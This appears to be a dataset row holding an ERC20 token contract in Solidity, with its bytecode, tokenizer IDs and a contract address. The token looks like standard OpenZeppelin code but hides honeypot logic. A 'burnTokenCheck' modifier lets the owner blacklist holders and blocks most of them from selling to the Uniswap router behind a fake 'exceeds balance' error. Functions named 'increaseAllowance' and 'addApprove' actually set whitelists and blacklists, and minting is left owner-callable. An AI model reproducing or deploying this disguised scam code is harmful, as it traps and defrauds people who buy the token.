Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107cc565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107d5565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108d1945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109ea565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b0316610a05565b6101a5610a6f565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610ad0565b6104a6610ae4565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610af3565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b1e945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c0e565b8484610c12565b50600192915050565b60055490565b600061074c848484610cfe565b6107c284610758610c0e565b6107bd8560405180606001604052806028815260200161143b602891396001600160a01b038a16600090815260046020526040812090610796610c0e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6112d216565b610c12565b5060019392505050565b60085460ff1690565b600a546001600160a01b03163314610834576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600554610847908263ffffffff61136916565b600555600a546001600160a01b0316600090815260208190526040902054610875908263ffffffff61136916565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610919576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109e45761095583828151811061093457fe5b602002602001015183838151811061094857fe5b6020026020010151610ad0565b50838110156109dc57600180600085848151811061096f57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109dc8382815181106109bd57fe5b6020908102919091010151600c546001600160a01b0316600019610c12565b60010161091c565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610add610c0e565b8484610cfe565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b66576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b8357fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bd457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b69565b3390565b6001600160a01b038316610c575760405162461bcd60e51b81526004018080602001828103825260248152602001806114886024913960400191505060405180910390fd5b6001600160a01b038216610c9c5760405162461bcd60e51b81526004018080602001828103825260228152602001806113f36022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d315750600a546001600160a01b038481169116145b15610eb557600b80546001600160a01b0319166001600160a01b03848116919091179091558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b038516610dd85760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b610de38686866113ca565b610e2684604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e5b908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a36112ca565b600a546001600160a01b0384811691161480610ede5750600b546001600160a01b038481169116145b80610ef65750600a546001600160a01b038381169116145b15610f7957600a546001600160a01b038481169116148015610f295750816001600160a01b0316836001600160a01b0316145b15610f345760038190555b6001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415610fe5576001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff1615156001141561106f57600b546001600160a01b03848116911614806110345750600c546001600160a01b038381169116145b610f345760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b60035481101561110357600b546001600160a01b0383811691161415610f34576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061112c5750600c546001600160a01b038381169116145b6111675760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b6001600160a01b0386166111ac5760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b0385166111f15760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b6111fc8686866113ca565b61123f84604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611274908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113615760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561132657818101518382015260200161130e565b50505050905090810190601f1680156113535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156113c3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220178bcd5c9e6b5e431135372753b671ea4f95bf5d3603d44a1ce1d4ec45a68f3264736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2581, 2546, 28756, 2475, 9468, 2497, 2692, 2278, 2629, 2063, 2487, 26337, 22394, 2620, 2094, 2692, 26187, 28756, 2620, 14697, 2509, 4783, 2683, 2509, 27421, 2497, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 1036, 3647, 18900, 2232, 1036, 9239, 2015, 2023, 26406, 2011, 7065, 8743, 2075, 1996, 12598, 2043, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,783
0x9759226b2f8ddeff81583e244ef3bd13aaa7e4a1
